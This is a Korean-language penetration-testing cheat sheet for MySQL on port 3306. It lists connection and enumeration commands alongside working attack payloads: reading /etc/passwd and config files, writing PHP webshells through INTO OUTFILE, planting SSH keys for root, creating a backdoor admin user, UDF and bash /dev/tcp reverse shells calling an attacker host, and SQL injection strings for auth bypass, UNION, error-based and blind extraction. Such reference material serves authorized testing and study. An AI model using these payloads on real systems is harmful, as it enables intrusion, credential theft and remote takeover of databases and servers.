Skip to main content

MySQL - 3306

MySQL 데이터베이스 연결 및 공격 기법 모음입니다.

연결 방법​

기본 연결​

mysql -u root -p
mysql -u <USERNAME> -p
mysql -u <USERNAME> -h <RHOST> -p
mysql -u <USERNAME> -h <RHOST> -p<PASSWORD>
mysql -u <USERNAME> -h <RHOST> -p --skip-ssl

특정 데이터베이스 연결​

mysql -u <USERNAME> -h <RHOST> -p <DATABASE>

기본 명령어​

상태 및 정보 확인​

STATUS;
SELECT version();
SELECT system_user();
SELECT user();
SELECT @@version;
SELECT @@hostname;

데이터베이스 열거​

SHOW databases;
USE <DATABASE>;

테이블 열거​

SHOW tables;
DESCRIBE <TABLE>;
SHOW COLUMNS FROM <TABLE>;

데이터 조회​

SELECT * FROM Users;
SELECT * FROM users \G; -- 세로 형식으로 출력
SELECT Username,Password FROM Users;

사용자 및 권한 확인​

SELECT user, authentication_string FROM mysql.user;
SELECT user, authentication_string FROM mysql.user WHERE user = '<USERNAME>';
SHOW GRANTS FOR '<USERNAME>'@'localhost' \G;
SELECT grantee, privilege_type FROM information_schema.user_privileges;

파일 읽기/쓰기​

파일 읽기​

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('C:\\PATH\\TO\\FILE\\file.txt');

파일 쓰기​

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
SELECT 'test' INTO OUTFILE '/tmp/test.txt';

SSH 키 쓰기​

SELECT "<SSH_PUBLIC_KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '' LINES TERMINATED BY '\n';

데이터 조작​

비밀번호 변경​

UPDATE user SET password = '37b08599d3f323491a66feabbb5b26af' WHERE user_id = 1;
UPDATE mysql.user SET authentication_string = PASSWORD('newpassword') WHERE user = 'root';
FLUSH PRIVILEGES;

사용자 생성​

CREATE USER 'hacker'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'hacker'@'localhost';
FLUSH PRIVILEGES;

명령 실행 기법​

쉘 탈출​

\! /bin/sh
\! bash

UDF (User Defined Function)를 통한 RCE​

lib_mysqludf_sys 사용:

CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('nc -e /bin/sh <LHOST> <LPORT>');

Reverse Shell Injection​

INSERT INTO users (id, email) VALUES (<LPORT>, "- E $(bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1')");

SQL Injection 예제​

인증 우회​

admin' or '1'='1'--
admin' or 1=1--
' or 1=1--
' or '1'='1'-- -

UNION 기반 Injection​

컬럼 수 찾기​

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

버전 확인​

-1 UNION SELECT 1,2,version()-- -
' UNION SELECT null,version(),null-- -

데이터베이스 이름​

-1 UNION SELECT 1,2,database()-- -
' UNION SELECT null,database(),null-- -

테이블 이름 열거​

-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT null,group_concat(table_name),null FROM information_schema.tables WHERE table_schema=database()-- -

컬럼 이름 열거​

-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='<TABLE>'-- -

데이터 덤프​

-1 UNION SELECT 1,2,group_concat(<COLUMN>) FROM <DATABASE>.<TABLE>-- -
' UNION SELECT null,group_concat(username,':',password),null FROM users-- -

파일 읽기 (Injection)​

' UNION SELECT null,LOAD_FILE('/etc/passwd'),null-- -
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3-- -

Webshell 생성 (Injection)​

' UNION SELECT "<?php system($_GET['cmd']);?>",null,null,null,null INTO OUTFILE "/var/www/html/shell.php"-- -
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/cmd.php'-- -

Error-Based SQL Injection​

' AND extractvalue(0x0a,concat(0x0a,database()))-- -
' AND extractvalue(0x0a,concat(0x0a,(SELECT user())))-- -

Time-Based Blind SQL Injection​

' AND SLEEP(5)-- -
' OR IF(1=1,SLEEP(5),0)-- -
1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -

Boolean-Based Blind SQL Injection​

' AND 1=1-- - (True)
' AND 1=2-- - (False)
' AND substring(database(),1,1)='a'-- -

데이터베이스 백업 및 복구​

백업​

mysqldump -u <USERNAME> -p <DATABASE> > backup.sql
mysqldump -u <USERNAME> -p --all-databases > all_backup.sql

복구​

mysql -u <USERNAME> -p <DATABASE> < backup.sql

보안 설정 확인​

SHOW VARIABLES LIKE 'secure_file_priv'; -- 파일 읽기/쓰기 제한 확인
SHOW VARIABLES LIKE '%log%'; -- 로그 설정 확인
SELECT @@global.read_only; -- 읽기 전용 모드 확인

참고​

  • MySQL은 기본적으로 3306 포트 사용
  • secure_file_priv 설정이 파일 읽기/쓰기 제한
  • FILE 권한이 있어야 LOAD_FILE/INTO OUTFILE 사용 가능
  • UDF를 통한 RCE는 plugin_dir 쓰기 권한 필요
  • --skip-ssl로 SSL 검증 우회 가능
  • MariaDB도 대부분 동일한 명령어 사용